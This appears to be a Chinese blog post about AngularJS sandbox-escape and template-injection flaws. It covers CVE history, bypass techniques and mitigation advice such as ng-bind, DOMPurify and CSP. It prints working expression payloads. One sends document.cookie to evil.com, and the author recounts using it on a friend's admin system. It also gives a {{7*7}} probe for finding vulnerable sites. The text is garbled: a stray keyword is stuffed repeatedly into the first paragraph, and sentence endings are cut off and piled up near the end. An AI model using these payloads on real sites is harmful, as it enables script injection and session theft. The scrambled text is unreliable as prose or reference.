angularjs高危漏洞
2016年5月,危漏Google安全团队在一篇博客里轻描淡写地提了一句:AngularJS的危漏表达式沙箱机制存在绕过风险。当时没多少人当回事。危漏三个月后,危漏一个叫sandbox escape的危漏PoC开始在GitHub上流传,能直接读取页面上下文里的危漏敏感数据。再往后,危漏CVE-2020-7676、危漏CVE-2022-25869这些编号陆续被填进NVD数据库,危漏评分清一色高危。危漏 问题的危漏根子在AngularJS的模板引擎。它允许在HTML里直接写 举个真实的绕过例子。早期版本里, Google的修复方式很“打地鼠”。每次有人报绕过,就在黑名单里加几个关键字。 移除沙箱意味着什么?AngularJS官方文档里写得很清楚:不要把用户输入直接扔进模板表达式。但现实是,大量老项目还在用 我去年帮一个朋友看他的老后台系统。AngularJS 1.4.8,页面里有个搜索框,搜索结果直接拼进 更麻烦的是,AngularJS早就停止维护了。2022年1月,官方宣布长期支持结束。最后一个版本是1.8.3,之后再无安全补丁。CVE-2023-26116、CVE-2023-26117这些新漏洞,官方连回应都没有。还在用AngularJS的项目,等于在裸奔。 那怎么办?能升级Angular(2+)就升级,这是唯一彻底的方案。升不了的老项目,至少做三件事:第一,把所有 有人觉得AngularJS只是“过时”,不是“危险”。这两者差别很大。过时的框架只是没人写新功能,危险的框架是有人能拿它当跳板。AngularJS属于后者。你打开任何一个还在跑1.x版本的网站,按F12看看源码里有没有 别等出事再补。AngularJS的沙箱从来不是安全边界,它只是个减速带。现在连减速带都拆了,剩下的全靠你自己踩刹车。{ { }}表达式,危漏为了安全搞了个沙箱,危漏把window、危漏document、危漏eval这些危险对象屏蔽掉。想法不错——但沙箱是用JavaScript实现的,而JavaScript本身就不是为安全隔离设计的。攻击者只要找到一条不被拦截的路径,就能从表达式里摸到全局对象。{ { constructor.constructor('alert(1)')()}}这行代码能直接执行任意JS。原理很直白:constructor是函数原型上的属性,沙箱没把它列进黑名单。constructor.constructor拿到的是Function构造器,而Function可以动态创建并执行代码。一条链走下来,沙箱形同虚设。__proto__被禁了,有人用prototype绕;prototype被禁了,有人用Object.getOwnPropertyDescriptor绕。这种补法永远追不上攻击者的脑洞。到了1.6版本,开发团队干脆把沙箱整个移除了——承认这玩意儿修不好。$sce.trustAsHtml或者ng-bind-html渲染动态内容。如果这些内容来自用户——比如评论区、个人签名、URL参数——攻击者就能注入表达式,执行任意脚本。ng-bind-html。我输入{ { constructor.constructor('fetch("//evil.com/"+document.cookie)')()}},浏览器控制台立刻报错——沙箱还在,但报错信息暴露了内部函数名。换了个绕过姿势,cookie就发出去了。他当时脸都绿了。ng-bind-html替换成ng-bind,除非你百分百确定内容可信;第二,如果必须渲染HTML,用DOMPurify这类库先清洗,别依赖AngularJS自带的$sanitize;第三,在服务端加一层CSP,把unsafe-eval和unsafe-inline都禁掉,就算表达式被注入也执行不了。ng-app,有的话,试试在URL后面加个?q={ { 7*7}}。如果页面回显49,那这个站点的模板注入漏洞就是活的。
- 最近发表
- 随机阅读
- 搜索
-
- 友情链接
-